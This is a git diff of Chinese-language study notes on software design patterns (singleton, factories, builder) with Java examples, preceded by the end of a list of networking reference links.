+- [Active and Passive FTP Transfers Defined - KB Article #1138](http://www.serv-u.com/kb/1138/active-and-passive-ftp-transfers-defined)
+- [Traceroute](https://zh.wikipedia.org/wiki/Traceroute)
+- [ping](https://zh.wikipedia.org/wiki/Ping)
+- [How DHCP works and DHCP Interview Questions and Answers](http://webcache.googleusercontent.com/search?q=cache:http://anandgiria.blogspot.com/2013/09/windows-dhcp-interview-questions-and.html)
+- [What is process of DORA in DHCP?](https://www.quora.com/What-is-process-of-DORA-in-DHCP)
+- [What is DHCP Server ?](https://tecadmin.net/what-is-dhcp-server/)
+- [Tackling emissions targets in Tokyo](http://www.climatechangenews.com/2011/html/university-tokyo.html)
+- [What does my ISP know when I use Tor?](http://www.climatechangenews.com/2011/html/university-tokyo.html)
+- [Technology-Computer Networking[1]-Computer Networks and the Internet](http://www.linyibin.cn/2017/02/12/technology-ComputerNetworking-Internet/)
+- [P2P 网络概述.](http://slidesplayer.com/slide/11616167/)
+- [Circuit Switching (a) Circuit switching. (b) Packet switching.](http://slideplayer.com/slide/5115386/)
diff --git a/docs/notes/设计模式.md b/docs/notes/设计模式.md
index cd37529f..a85dea0e 100644
--- a/docs/notes/设计模式.md
+++ b/docs/notes/设计模式.md
@@ -1,187 +1,222 @@
-# 一、概述
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、概述](#一概述)
+* [二、创建型](#二创建型)
+    * [1. 单例（Singleton）](#1-单例singleton)
+    * [2. 简单工厂（Simple Factory）](#2-简单工厂simple-factory)
+    * [3. 工厂方法（Factory Method）](#3-工厂方法factory-method)
+    * [4. 抽象工厂（Abstract Factory）](#4-抽象工厂abstract-factory)
+    * [5. 生成器（Builder）](#5-生成器builder)
+    * [6. 原型模式（Prototype）](#6-原型模式prototype)
+* [三、行为型](#三行为型)
+    * [1. 责任链（Chain Of Responsibility）](#1-责任链chain-of-responsibility)
+    * [2. 命令（Command）](#2-命令command)
+    * [3. 解释器（Interpreter）](#3-解释器interpreter)
+    * [4. 迭代器（Iterator）](#4-迭代器iterator)
+    * [5. 中介者（Mediator）](#5-中介者mediator)
+    * [6. 备忘录（Memento）](#6-备忘录memento)
+    * [7. 观察者（Observer）](#7-观察者observer)
+    * [8. 状态（State）](#8-状态state)
+    * [9. 策略（Strategy）](#9-策略strategy)
+    * [10. 模板方法（Template Method）](#10-模板方法template-method)
+    * [11. 访问者（Visitor）](#11-访问者visitor)
+    * [12. 空对象（Null）](#12-空对象null)
+* [四、结构型](#四结构型)
+    * [1. 适配器（Adapter）](#1-适配器adapter)
+    * [2. 桥接（Bridge）](#2-桥接bridge)
+    * [3. 组合（Composite）](#3-组合composite)
+    * [4. 装饰（Decorator）](#4-装饰decorator)
+    * [5. 外观（Facade）](#5-外观facade)
+    * [6. 享元（Flyweight）](#6-享元flyweight)
+    * [7. 代理（Proxy）](#7-代理proxy)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
+
+
+# 一、概述
 
 设计模式是解决问题的方案，学习现有的设计模式可以做到经验复用。
 
 拥有设计模式词汇，在沟通时就能用更少的词汇来讨论，并且不需要了解底层细节。
 
-[源码以及 UML 图](https://github.com/CyC2018/Design-Pattern-Java)
+[源码以及 UML 图](https://github.com/CyC2018/Design-Pattern-Java)
 
-# 二、创建型
+# 二、创建型
 
-## 1. 单例（Singleton）
+## 1. 单例（Singleton）
 
-### Intent
+### Intent
 
 确保一个类只有一个实例，并提供该实例的全局访问点。
 
-### Class Diagram
+### Class Diagram
 
 使用一个私有构造函数、一个私有静态变量以及一个公有静态函数来实现。
 
 私有构造函数保证了不能通过构造函数来创建对象实例，只能通过公有静态函数返回唯一的私有静态变量。
 
-![](index_files/562f2844-d77c-40e0-887a-28a7128abd42.png)
+<div align="center"> <img src="pics/562f2844-d77c-40e0-887a-28a7128abd42.png"/> </div><br>
 
-### Implementation
+### Implementation
 
-#### Ⅰ 懒汉式-线程不安全
+#### Ⅰ 懒汉式-线程不安全
 
-以下实现中，私有静态变量 uniqueInstance 被延迟实例化，这样做的好处是，如果没有用到该类，那么就不会实例化 uniqueInstance，从而节约资源。
+以下实现中，私有静态变量 uniqueInstance 被延迟实例化，这样做的好处是，如果没有用到该类，那么就不会实例化 uniqueInstance，从而节约资源。
 
-这个实现在多线程环境下是不安全的，如果多个线程能够同时进入 `if (uniqueInstance == null)` ，并且此时 uniqueInstance 为 null，那么会有多个线程执行 `uniqueInstance = new Singleton();` 语句，这将导致实例化多次 uniqueInstance。
+这个实现在多线程环境下是不安全的，如果多个线程能够同时进入 `if (uniqueInstance == null)` ，并且此时 uniqueInstance 为 null，那么会有多个线程执行 `uniqueInstance = new Singleton();` 语句，这将导致实例化多次 uniqueInstance。
 
 ```java
-public class Singleton {
+public class Singleton {
 
-    private static Singleton uniqueInstance;
+    private static Singleton uniqueInstance;
 
-    private Singleton() {
-    }
+    private Singleton() {
+    }
 
-    public static Singleton getUniqueInstance() {
-        if (uniqueInstance == null) {
-            uniqueInstance = new Singleton();
-        }
-        return uniqueInstance;
-    }
+    public static Singleton getUniqueInstance() {
+        if (uniqueInstance == null) {
+            uniqueInstance = new Singleton();
+        }
+        return uniqueInstance;
+    }
 }
 ```
 
-#### Ⅱ 饿汉式-线程安全
+#### Ⅱ 饿汉式-线程安全
 
-线程不安全问题主要是由于 uniqueInstance 被实例化多次，采取直接实例化 uniqueInstance 的方式就不会产生线程不安全问题。
+线程不安全问题主要是由于 uniqueInstance 被实例化多次，采取直接实例化 uniqueInstance 的方式就不会产生线程不安全问题。
 
 但是直接实例化的方式也丢失了延迟实例化带来的节约资源的好处。
 
 ```java
-private static Singleton uniqueInstance = new Singleton();
+private static Singleton uniqueInstance = new Singleton();
 ```
 
-#### Ⅲ 懒汉式-线程安全
+#### Ⅲ 懒汉式-线程安全
 
-只需要对 getUniqueInstance() 方法加锁，那么在一个时间点只能有一个线程能够进入该方法，从而避免了实例化多次 uniqueInstance。
+只需要对 getUniqueInstance() 方法加锁，那么在一个时间点只能有一个线程能够进入该方法，从而避免了实例化多次 uniqueInstance。
 
-但是当一个线程进入该方法之后，其它试图进入该方法的线程都必须等待，即使 uniqueInstance 已经被实例化了。这会让线程阻塞时间过长，因此该方法有性能问题，不推荐使用。
+但是当一个线程进入该方法之后，其它试图进入该方法的线程都必须等待，即使 uniqueInstance 已经被实例化了。这会让线程阻塞时间过长，因此该方法有性能问题，不推荐使用。
 
 ```java
-public static synchronized Singleton getUniqueInstance() {
-    if (uniqueInstance == null) {
-        uniqueInstance = new Singleton();
-    }
-    return uniqueInstance;
+public static synchronized Singleton getUniqueInstance() {
+    if (uniqueInstance == null) {
+        uniqueInstance = new Singleton();
+    }
+    return uniqueInstance;
 }
 ```
 
-#### Ⅳ 双重校验锁-线程安全
+#### Ⅳ 双重校验锁-线程安全
 
-uniqueInstance 只需要被实例化一次，之后就可以直接使用了。加锁操作只需要对实例化那部分的代码进行，只有当 uniqueInstance 没有被实例化时，才需要进行加锁。
+uniqueInstance 只需要被实例化一次，之后就可以直接使用了。加锁操作只需要对实例化那部分的代码进行，只有当 uniqueInstance 没有被实例化时，才需要进行加锁。
 
-双重校验锁先判断 uniqueInstance 是否已经被实例化，如果没有被实例化，那么才对实例化语句进行加锁。
+双重校验锁先判断 uniqueInstance 是否已经被实例化，如果没有被实例化，那么才对实例化语句进行加锁。
 
 ```java
-public class Singleton {
+public class Singleton {
 
-    private volatile static Singleton uniqueInstance;
+    private volatile static Singleton uniqueInstance;
 
-    private Singleton() {
-    }
+    private Singleton() {
+    }
 
-    public static Singleton getUniqueInstance() {
-        if (uniqueInstance == null) {
-            synchronized (Singleton.class) {
-                if (uniqueInstance == null) {
-                    uniqueInstance = new Singleton();
-                }
-            }
-        }
-        return uniqueInstance;
-    }
+    public static Singleton getUniqueInstance() {
+        if (uniqueInstance == null) {
+            synchronized (Singleton.class) {
+                if (uniqueInstance == null) {
+                    uniqueInstance = new Singleton();
+                }
+            }
+        }
+        return uniqueInstance;
+    }
 }
 ```
 
-考虑下面的实现，也就是只使用了一个 if 语句。在 uniqueInstance == null 的情况下，如果两个线程都执行了 if 语句，那么两个线程都会进入 if 语句块内。虽然在 if 语句块内有加锁操作，但是两个线程都会执行 `uniqueInstance = new Singleton();` 这条语句，只是先后的问题，那么就会进行两次实例化。因此必须使用双重校验锁，也就是需要使用两个 if 语句。
+考虑下面的实现，也就是只使用了一个 if 语句。在 uniqueInstance == null 的情况下，如果两个线程都执行了 if 语句，那么两个线程都会进入 if 语句块内。虽然在 if 语句块内有加锁操作，但是两个线程都会执行 `uniqueInstance = new Singleton();` 这条语句，只是先后的问题，那么就会进行两次实例化。因此必须使用双重校验锁，也就是需要使用两个 if 语句。
 
 ```java
-if (uniqueInstance == null) {
-    synchronized (Singleton.class) {
-        uniqueInstance = new Singleton();
-    }
+if (uniqueInstance == null) {
+    synchronized (Singleton.class) {
+        uniqueInstance = new Singleton();
+    }
 }
 ```
 
-uniqueInstance 采用 volatile 关键字修饰也是很有必要的， `uniqueInstance = new Singleton();` 这段代码其实是分为三步执行：
+uniqueInstance 采用 volatile 关键字修饰也是很有必要的， `uniqueInstance = new Singleton();` 这段代码其实是分为三步执行：
 
-1. 为 uniqueInstance 分配内存空间
-2. 初始化 uniqueInstance
-3. 将 uniqueInstance 指向分配的内存地址
+1. 为 uniqueInstance 分配内存空间
+2. 初始化 uniqueInstance
+3. 将 uniqueInstance 指向分配的内存地址
 
-但是由于 JVM 具有指令重排的特性，执行顺序有可能变成 1>3>2。指令重排在单线程环境下不会出现问题，但是在多线程环境下会导致一个线程获得还没有初始化的实例。例如，线程 T<sub>1</sub> 执行了 1 和 3，此时 T<sub>2</sub> 调用 getUniqueInstance() 后发现 uniqueInstance 不为空，因此返回 uniqueInstance，但此时 uniqueInstance 还未被初始化。
+但是由于 JVM 具有指令重排的特性，执行顺序有可能变成 1>3>2。指令重排在单线程环境下不会出现问题，但是在多线程环境下会导致一个线程获得还没有初始化的实例。例如，线程 T<sub>1</sub> 执行了 1 和 3，此时 T<sub>2</sub> 调用 getUniqueInstance() 后发现 uniqueInstance 不为空，因此返回 uniqueInstance，但此时 uniqueInstance 还未被初始化。
 
-使用 volatile 可以禁止 JVM 的指令重排，保证在多线程环境下也能正常运行。
+使用 volatile 可以禁止 JVM 的指令重排，保证在多线程环境下也能正常运行。
 
-#### Ⅴ 静态内部类实现
+#### Ⅴ 静态内部类实现
 
-当 Singleton 类加载时，静态内部类 SingletonHolder 没有被加载进内存。只有当调用 `getUniqueInstance()` 方法从而触发 `SingletonHolder.INSTANCE` 时 SingletonHolder 才会被加载，此时初始化 INSTANCE 实例，并且 JVM 能确保 INSTANCE 只被实例化一次。
+当 Singleton 类加载时，静态内部类 SingletonHolder 没有被加载进内存。只有当调用 `getUniqueInstance()` 方法从而触发 `SingletonHolder.INSTANCE` 时 SingletonHolder 才会被加载，此时初始化 INSTANCE 实例，并且 JVM 能确保 INSTANCE 只被实例化一次。
 
-这种方式不仅具有延迟初始化的好处，而且由 JVM 提供了对线程安全的支持。
+这种方式不仅具有延迟初始化的好处，而且由 JVM 提供了对线程安全的支持。
 
 ```java
-public class Singleton {
+public class Singleton {
 
-    private Singleton() {
-    }
+    private Singleton() {
+    }
 
-    private static class SingletonHolder {
-        private static final Singleton INSTANCE = new Singleton();
-    }
+    private static class SingletonHolder {
+        private static final Singleton INSTANCE = new Singleton();
+    }
 
-    public static Singleton getUniqueInstance() {
-        return SingletonHolder.INSTANCE;
-    }
+    public static Singleton getUniqueInstance() {
+        return SingletonHolder.INSTANCE;
+    }
 }
 ```
 
-#### Ⅵ 枚举实现
+#### Ⅵ 枚举实现
 
 ```java
-public enum Singleton {
+public enum Singleton {
 
-    INSTANCE;
+    INSTANCE;
 
-    private String objName;
+    private String objName;
 
 
-    public String getObjName() {
-        return objName;
-    }
+    public String getObjName() {
+        return objName;
+    }
 
 
-    public void setObjName(String objName) {
-        this.objName = objName;
-    }
+    public void setObjName(String objName) {
+        this.objName = objName;
+    }
 
 
-    public static void main(String[] args) {
+    public static void main(String[] args) {
 
-        // 单例测试
-        Singleton firstSingleton = Singleton.INSTANCE;
-        firstSingleton.setObjName("firstName");
-        System.out.println(firstSingleton.getObjName());
-        Singleton secondSingleton = Singleton.INSTANCE;
-        secondSingleton.setObjName("secondName");
-        System.out.println(firstSingleton.getObjName());
-        System.out.println(secondSingleton.getObjName());
+        // 单例测试
+        Singleton firstSingleton = Singleton.INSTANCE;
+        firstSingleton.setObjName("firstName");
+        System.out.println(firstSingleton.getObjName());
+        Singleton secondSingleton = Singleton.INSTANCE;
+        secondSingleton.setObjName("secondName");
+        System.out.println(firstSingleton.getObjName());
+        System.out.println(secondSingleton.getObjName());
 
-        // 反射获取实例测试
-        try {
-            Singleton[] enumConstants = Singleton.class.getEnumConstants();
-            for (Singleton enumConstant : enumConstants) {
-                System.out.println(enumConstant.getObjName());
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
+        // 反射获取实例测试
+        try {
+            Singleton[] enumConstants = Singleton.class.getEnumConstants();
+            for (Singleton enumConstant : enumConstants) {
+                System.out.println(enumConstant.getObjName());
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
 }
 ```
 
@@ -192,339 +227,339 @@ secondName
 secondName
 ```
 
-该实现在多次序列化再进行反序列化之后，不会得到多个实例。而其它实现需要使用 transient 修饰所有字段，并且实现序列化和反序列化的方法。
+该实现在多次序列化再进行反序列化之后，不会得到多个实例。而其它实现需要使用 transient 修饰所有字段，并且实现序列化和反序列化的方法。
 
-该实现可以防止反射攻击。在其它实现中，通过 setAccessible() 方法可以将私有构造函数的访问级别设置为 public，然后调用构造函数从而实例化对象，如果要防止这种攻击，需要在构造函数中添加防止多次实例化的代码。该实现是由 JVM 保证只会实例化一次，因此不会出现上述的反射攻击。
+该实现可以防止反射攻击。在其它实现中，通过 setAccessible() 方法可以将私有构造函数的访问级别设置为 public，然后调用构造函数从而实例化对象，如果要防止这种攻击，需要在构造函数中添加防止多次实例化的代码。该实现是由 JVM 保证只会实例化一次，因此不会出现上述的反射攻击。
 
-### Examples
+### Examples
 
-- Logger Classes
-- Configuration Classes
-- Accesing resources in shared mode
-- Factories implemented as Singletons
+- Logger Classes
+- Configuration Classes
+- Accesing resources in shared mode
+- Factories implemented as Singletons
 
-### JDK
+### JDK
 
-- [java.lang.Runtime#getRuntime()](http://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html#getRuntime%28%29)
-- [java.awt.Desktop#getDesktop()](http://docs.oracle.com/javase/8/docs/api/java/awt/Desktop.html#getDesktop--)
-- [java.lang.System#getSecurityManager()](http://docs.oracle.com/javase/8/docs/api/java/lang/System.html#getSecurityManager--)
+- [java.lang.Runtime#getRuntime()](http://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html#getRuntime%28%29)
+- [java.awt.Desktop#getDesktop()](http://docs.oracle.com/javase/8/docs/api/java/awt/Desktop.html#getDesktop--)
+- [java.lang.System#getSecurityManager()](http://docs.oracle.com/javase/8/docs/api/java/lang/System.html#getSecurityManager--)
 
-## 2. 简单工厂（Simple Factory）
+## 2. 简单工厂（Simple Factory）
 
-### Intent
+### Intent
 
 在创建一个对象时不向客户暴露内部细节，并提供一个创建对象的通用接口。
 
-### Class Diagram
+### Class Diagram
 
 简单工厂把实例化的操作单独放到一个类中，这个类就成为简单工厂类，让简单工厂类来决定应该用哪个具体子类来实例化。
 
 这样做能把客户类和具体子类的实现解耦，客户类不再需要知道有哪些子类以及应当实例化哪个子类。客户类往往有多个，如果不使用简单工厂，那么所有的客户类都要知道所有子类的细节。而且一旦子类发生改变，例如增加子类，那么所有的客户类都要进行修改。
 
-![](index_files/c79da808-0f28-4a36-bc04-33ccc5b83c13.png)
+<div align="center"> <img src="pics/c79da808-0f28-4a36-bc04-33ccc5b83c13.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 ```java
-public interface Product {
+public interface Product {
 }
 ```
 
 ```java
-public class ConcreteProduct implements Product {
+public class ConcreteProduct implements Product {
 }
 ```
 
 ```java
-public class ConcreteProduct1 implements Product {
+public class ConcreteProduct1 implements Product {
 }
 ```
 
 ```java
-public class ConcreteProduct2 implements Product {
+public class ConcreteProduct2 implements Product {
 }
 ```
 
-以下的 Client 类包含了实例化的代码，这是一种错误的实现。如果在客户类中存在这种实例化代码，就需要考虑将代码放到简单工厂中。
+以下的 Client 类包含了实例化的代码，这是一种错误的实现。如果在客户类中存在这种实例化代码，就需要考虑将代码放到简单工厂中。
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
-        int type = 1;
-        Product product;
-        if (type == 1) {
-            product = new ConcreteProduct1();
-        } else if (type == 2) {
-            product = new ConcreteProduct2();
-        } else {
-            product = new ConcreteProduct();
-        }
-        // do something with the product
-    }
+    public static void main(String[] args) {
+        int type = 1;
+        Product product;
+        if (type == 1) {
+            product = new ConcreteProduct1();
+        } else if (type == 2) {
+            product = new ConcreteProduct2();
+        } else {
+            product = new ConcreteProduct();
+        }
+        // do something with the product
+    }
 }
 ```
 
-以下的 SimpleFactory 是简单工厂实现，它被所有需要进行实例化的客户类调用。
+以下的 SimpleFactory 是简单工厂实现，它被所有需要进行实例化的客户类调用。
 
 ```java
-public class SimpleFactory {
+public class SimpleFactory {
 
-    public Product createProduct(int type) {
-        if (type == 1) {
-            return new ConcreteProduct1();
-        } else if (type == 2) {
-            return new ConcreteProduct2();
-        }
-        return new ConcreteProduct();
-    }
+    public Product createProduct(int type) {
+        if (type == 1) {
+            return new ConcreteProduct1();
+        } else if (type == 2) {
+            return new ConcreteProduct2();
+        }
+        return new ConcreteProduct();
+    }
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
-        SimpleFactory simpleFactory = new SimpleFactory();
-        Product product = simpleFactory.createProduct(1);
-        // do something with the product
-    }
+    public static void main(String[] args) {
+        SimpleFactory simpleFactory = new SimpleFactory();
+        Product product = simpleFactory.createProduct(1);
+        // do something with the product
+    }
 }
 ```
 
-## 3. 工厂方法（Factory Method）
+## 3. 工厂方法（Factory Method）
 
-### Intent
+### Intent
 
 定义了一个创建对象的接口，但由子类决定要实例化哪个类。工厂方法把实例化操作推迟到子类。
 
-### Class Diagram
+### Class Diagram
 
 在简单工厂中，创建对象的是另一个类，而在工厂方法中，是由子类来创建对象。
 
-下图中，Factory 有一个 doSomething() 方法，这个方法需要用到一个产品对象，这个产品对象由 factoryMethod() 方法创建。该方法是抽象的，需要由子类去实现。
+下图中，Factory 有一个 doSomething() 方法，这个方法需要用到一个产品对象，这个产品对象由 factoryMethod() 方法创建。该方法是抽象的，需要由子类去实现。
 
-![](index_files/1818e141-8700-4026-99f7-900a545875f5.png)
+<div align="center"> <img src="pics/1818e141-8700-4026-99f7-900a545875f5.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 ```java
-public abstract class Factory {
-    abstract public Product factoryMethod();
-    public void doSomething() {
-        Product product = factoryMethod();
-        // do something with the product
-    }
+public abstract class Factory {
+    abstract public Product factoryMethod();
+    public void doSomething() {
+        Product product = factoryMethod();
+        // do something with the product
+    }
 }
 ```
 
 ```java
-public class ConcreteFactory extends Factory {
-    public Product factoryMethod() {
-        return new ConcreteProduct();
-    }
+public class ConcreteFactory extends Factory {
+    public Product factoryMethod() {
+        return new ConcreteProduct();
+    }
 }
 ```
 
 ```java
-public class ConcreteFactory1 extends Factory {
-    public Product factoryMethod() {
-        return new ConcreteProduct1();
-    }
+public class ConcreteFactory1 extends Factory {
+    public Product factoryMethod() {
+        return new ConcreteProduct1();
+    }
 }
 ```
 
 ```java
-public class ConcreteFactory2 extends Factory {
-    public Product factoryMethod() {
-        return new ConcreteProduct2();
-    }
+public class ConcreteFactory2 extends Factory {
+    public Product factoryMethod() {
+        return new ConcreteProduct2();
+    }
 }
 ```
 
-### JDK
+### JDK
 
-- [java.util.Calendar](http://docs.oracle.com/javase/8/docs/api/java/util/Calendar.html#getInstance--)
-- [java.util.ResourceBundle](http://docs.oracle.com/javase/8/docs/api/java/util/ResourceBundle.html#getBundle-java.lang.String-)
-- [java.text.NumberFormat](http://docs.oracle.com/javase/8/docs/api/java/text/NumberFormat.html#getInstance--)
-- [java.nio.charset.Charset](http://docs.oracle.com/javase/8/docs/api/java/nio/charset/Charset.html#forName-java.lang.String-)
-- [java.net.URLStreamHandlerFactory](http://docs.oracle.com/javase/8/docs/api/java/net/URLStreamHandlerFactory.html#createURLStreamHandler-java.lang.String-)
-- [java.util.EnumSet](https://docs.oracle.com/javase/8/docs/api/java/util/EnumSet.html#of-E-)
-- [javax.xml.bind.JAXBContext](https://docs.oracle.com/javase/8/docs/api/javax/xml/bind/JAXBContext.html#createMarshaller--)
+- [java.util.Calendar](http://docs.oracle.com/javase/8/docs/api/java/util/Calendar.html#getInstance--)
+- [java.util.ResourceBundle](http://docs.oracle.com/javase/8/docs/api/java/util/ResourceBundle.html#getBundle-java.lang.String-)
+- [java.text.NumberFormat](http://docs.oracle.com/javase/8/docs/api/java/text/NumberFormat.html#getInstance--)
+- [java.nio.charset.Charset](http://docs.oracle.com/javase/8/docs/api/java/nio/charset/Charset.html#forName-java.lang.String-)
+- [java.net.URLStreamHandlerFactory](http://docs.oracle.com/javase/8/docs/api/java/net/URLStreamHandlerFactory.html#createURLStreamHandler-java.lang.String-)
+- [java.util.EnumSet](https://docs.oracle.com/javase/8/docs/api/java/util/EnumSet.html#of-E-)
+- [javax.xml.bind.JAXBContext](https://docs.oracle.com/javase/8/docs/api/javax/xml/bind/JAXBContext.html#createMarshaller--)
 
-## 4. 抽象工厂（Abstract Factory）
+## 4. 抽象工厂（Abstract Factory）
 
-### Intent
+### Intent
 
-提供一个接口，用于创建 **相关的对象家族**。
+提供一个接口，用于创建  **相关的对象家族** 。
 
-### Class Diagram
+### Class Diagram
 
 抽象工厂模式创建的是对象家族，也就是很多对象而不是一个对象，并且这些对象是相关的，也就是说必须一起创建出来。而工厂方法模式只是用于创建一个对象，这和抽象工厂模式有很大不同。
 
-抽象工厂模式用到了工厂方法模式来创建单一对象，AbstractFactory 中的 createProductA() 和 createProductB() 方法都是让子类来实现，这两个方法单独来看就是在创建一个对象，这符合工厂方法模式的定义。
+抽象工厂模式用到了工厂方法模式来创建单一对象，AbstractFactory 中的 createProductA() 和 createProductB() 方法都是让子类来实现，这两个方法单独来看就是在创建一个对象，这符合工厂方法模式的定义。
 
-至于创建对象的家族这一概念是在 Client 体现，Client 要通过 AbstractFactory 同时调用两个方法来创建出两个对象，在这里这两个对象就有很大的相关性，Client 需要同时创建出这两个对象。
+至于创建对象的家族这一概念是在 Client 体现，Client 要通过 AbstractFactory 同时调用两个方法来创建出两个对象，在这里这两个对象就有很大的相关性，Client 需要同时创建出这两个对象。
 
-从高层次来看，抽象工厂使用了组合，即 Cilent 组合了 AbstractFactory，而工厂方法模式使用了继承。
+从高层次来看，抽象工厂使用了组合，即 Cilent 组合了 AbstractFactory，而工厂方法模式使用了继承。
 
-![](index_files/8668a3e1-c9c7-4fcb-98b2-a96a5d841579.png)
+<div align="center"> <img src="pics/8668a3e1-c9c7-4fcb-98b2-a96a5d841579.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 ```java
-public class AbstractProductA {
+public class AbstractProductA {
 }
 ```
 
 ```java
-public class AbstractProductB {
+public class AbstractProductB {
 }
 ```
 
 ```java
-public class ProductA1 extends AbstractProductA {
+public class ProductA1 extends AbstractProductA {
 }
 ```
 
 ```java
-public class ProductA2 extends AbstractProductA {
+public class ProductA2 extends AbstractProductA {
 }
 ```
 
 ```java
-public class ProductB1 extends AbstractProductB {
+public class ProductB1 extends AbstractProductB {
 }
 ```
 
 ```java
-public class ProductB2 extends AbstractProductB {
+public class ProductB2 extends AbstractProductB {
 }
 ```
 
 ```java
-public abstract class AbstractFactory {
-    abstract AbstractProductA createProductA();
-    abstract AbstractProductB createProductB();
+public abstract class AbstractFactory {
+    abstract AbstractProductA createProductA();
+    abstract AbstractProductB createProductB();
 }
 ```
 
 ```java
-public class ConcreteFactory1 extends AbstractFactory {
-    AbstractProductA createProductA() {
-        return new ProductA1();
-    }
+public class ConcreteFactory1 extends AbstractFactory {
+    AbstractProductA createProductA() {
+        return new ProductA1();
+    }
 
-    AbstractProductB createProductB() {
-        return new ProductB1();
-    }
+    AbstractProductB createProductB() {
+        return new ProductB1();
+    }
 }
 ```
 
 ```java
-public class ConcreteFactory2 extends AbstractFactory {
-    AbstractProductA createProductA() {
-        return new ProductA2();
-    }
+public class ConcreteFactory2 extends AbstractFactory {
+    AbstractProductA createProductA() {
+        return new ProductA2();
+    }
 
-    AbstractProductB createProductB() {
-        return new ProductB2();
-    }
+    AbstractProductB createProductB() {
+        return new ProductB2();
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        AbstractFactory abstractFactory = new ConcreteFactory1();
-        AbstractProductA productA = abstractFactory.createProductA();
-        AbstractProductB productB = abstractFactory.createProductB();
-        // do something with productA and productB
-    }
+public class Client {
+    public static void main(String[] args) {
+        AbstractFactory abstractFactory = new ConcreteFactory1();
+        AbstractProductA productA = abstractFactory.createProductA();
+        AbstractProductB productB = abstractFactory.createProductB();
+        // do something with productA and productB
+    }
 }
 ```
 
-### JDK
+### JDK
 
-- [javax.xml.parsers.DocumentBuilderFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/parsers/DocumentBuilderFactory.html)
-- [javax.xml.transform.TransformerFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/transform/TransformerFactory.html#newInstance--)
-- [javax.xml.xpath.XPathFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/xpath/XPathFactory.html#newInstance--)
+- [javax.xml.parsers.DocumentBuilderFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/parsers/DocumentBuilderFactory.html)
+- [javax.xml.transform.TransformerFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/transform/TransformerFactory.html#newInstance--)
+- [javax.xml.xpath.XPathFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/xpath/XPathFactory.html#newInstance--)
 
-## 5. 生成器（Builder）
+## 5. 生成器（Builder）
 
-### Intent
+### Intent
 
 封装一个对象的构造过程，并允许按步骤构造。
 
-### Class Diagram
+### Class Diagram
 
-![](index_files/13b0940e-d1d7-4b17-af4f-b70cb0a75e08.png)
+<div align="center"> <img src="pics/13b0940e-d1d7-4b17-af4f-b70cb0a75e08.png"/> </div><br>
 
-### Implementation
+### Implementation
 
-以下是一个简易的 StringBuilder 实现，参考了 JDK 1.8 源码。
+以下是一个简易的 StringBuilder 实现，参考了 JDK 1.8 源码。
 
 ```java
-public class AbstractStringBuilder {
-    protected char[] value;
+public class AbstractStringBuilder {
+    protected char[] value;
 
-    protected int count;
+    protected int count;
 
-    public AbstractStringBuilder(int capacity) {
-        count = 0;
-        value = new char[capacity];
-    }
+    public AbstractStringBuilder(int capacity) {
+        count = 0;
+        value = new char[capacity];
+    }
 
-    public AbstractStringBuilder append(char c) {
-        ensureCapacityInternal(count + 1);
-        value[count++] = c;
-        return this;
-    }
+    public AbstractStringBuilder append(char c) {
+        ensureCapacityInternal(count + 1);
+        value[count++] = c;
+        return this;
+    }
 
-    private void ensureCapacityInternal(int minimumCapacity) {
-        // overflow-conscious code
-        if (minimumCapacity - value.length > 0)
-            expandCapacity(minimumCapacity);
-    }
+    private void ensureCapacityInternal(int minimumCapacity) {
+        // overflow-conscious code
+        if (minimumCapacity - value.length > 0)
+            expandCapacity(minimumCapacity);
+    }
 
-    void expandCapacity(int minimumCapacity) {
-        int newCapacity = value.length * 2 + 2;
-        if (newCapacity - minimumCapacity < 0)
-            newCapacity = minimumCapacity;
-        if (newCapacity < 0) {
-            if (minimumCapacity < 0) // overflow
-                throw new OutOfMemoryError();
-            newCapacity = Integer.MAX_VALUE;
-        }
-        value = Arrays.copyOf(value, newCapacity);
-    }
+    void expandCapacity(int minimumCapacity) {
+        int newCapacity = value.length * 2 + 2;
+        if (newCapacity - minimumCapacity < 0)
+            newCapacity = minimumCapacity;
+        if (newCapacity < 0) {
+            if (minimumCapacity < 0) // overflow
+                throw new OutOfMemoryError();
+            newCapacity = Integer.MAX_VALUE;
+        }
+        value = Arrays.copyOf(value, newCapacity);
+    }
 }
 ```
 
 ```java
-public class StringBuilder extends AbstractStringBuilder {
-    public StringBuilder() {
-        super(16);
-    }
+public class StringBuilder extends AbstractStringBuilder {
+    public StringBuilder() {
+        super(16);
+    }
 
-    @Override
-    public String toString() {
-        // Create a copy, don't share the array
-        return new String(value, 0, count);
-    }
+    @Override
+    public String toString() {
+        // Create a copy, don't share the array
+        return new String(value, 0, count);
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        StringBuilder sb = new StringBuilder();
-        final int count = 26;
-        for (int i = 0; i < count; i++) {
-            sb.append((char) ('a' + i));
-        }
-        System.out.println(sb.toString());
-    }
+public class Client {
+    public static void main(String[] args) {
+        StringBuilder sb = new StringBuilder();
+        final int count = 26;
+        for (int i = 0; i < count; i++) {
+            sb.append((char) ('a' + i));
+        }
+        System.out.println(sb.toString());
+    }
 }
 ```
 
@@ -532,60 +567,60 @@ public class Client {
 abcdefghijklmnopqrstuvwxyz
 ```
 
-### JDK
+### JDK
 
-- [java.lang.StringBuilder](http://docs.oracle.com/javase/8/docs/api/java/lang/StringBuilder.html)
-- [java.nio.ByteBuffer](http://docs.oracle.com/javase/8/docs/api/java/nio/ByteBuffer.html#put-byte-)
-- [java.lang.StringBuffer](http://docs.oracle.com/javase/8/docs/api/java/lang/StringBuffer.html#append-boolean-)
